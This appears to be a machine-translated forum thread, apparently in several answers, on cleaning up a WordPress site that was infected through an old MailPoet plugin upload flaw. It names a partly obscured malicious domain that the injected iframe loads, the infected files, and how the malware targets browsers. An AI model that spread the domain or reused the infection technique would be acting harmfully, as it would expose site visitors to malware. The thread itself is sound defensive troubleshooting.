它加载了一个 iframe 中的 h ** p：//miwkavoriwka.ml/052F(已经在某些黑名单，包含 FFs 网络钓鱼和恶意软件保护列表) 或重定向到该 url(取决于您的浏览器)

编辑：阅读代码后：似乎有目标的唯一浏览器是符合条件的浏览器：

包含 MSIE，Trident /或 Edge /
没有手机？ (见函数 is_mobile_phone)
某些功能检查为真 (参见功能 some_capability_check)

第三种解决方案

感谢所有的伟大的信息和帮助！

我已经发现这个网站最初被黑客入侵了。该网站正在运行旧版本的 Mailpoet /wysija-newsletters(2.6.7 版)

在这个插件中使用漏洞，攻击者设法上传恶意代码，然后用于进一步感染网站。

https://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html

最终，Mailpoet /wysija-newsletters 的安全问题被用于将一个名为.zip 的文件上传到/wp-content /uploads /wysija /temp，然后提取 zip 并安装一些诡异的主题。附带的屏幕截图显示在删除 zip 后进入插件管理页面时发生的情况。似乎每当进入 wp-admin 时，网站都会被重新感染。

该网站现在已经从一个干净的版本，完全修补和插件 WordFence 正在运行恢复。

第四种方案

它是 apparent purpose 感染 wp-settings.php，所以它感染所有的页面，并通过 iframe 链接恶意软件。

您可以通过删除 wp_inc/upd.php 删除它，但这不会修复威胁矢量，除非该孔被插入。但是，如果注释是正确的，”main infection” 本身可能位于不同的文件中。再次，如果威胁矢量仍然存在，删除此文件将不会有太大帮助。

One person 甚至建议用 alert 代替 eval 。其他人已经通过使用 this thread 中描述的技术解散了其他版本。您的代码遵循与之相似的模式。
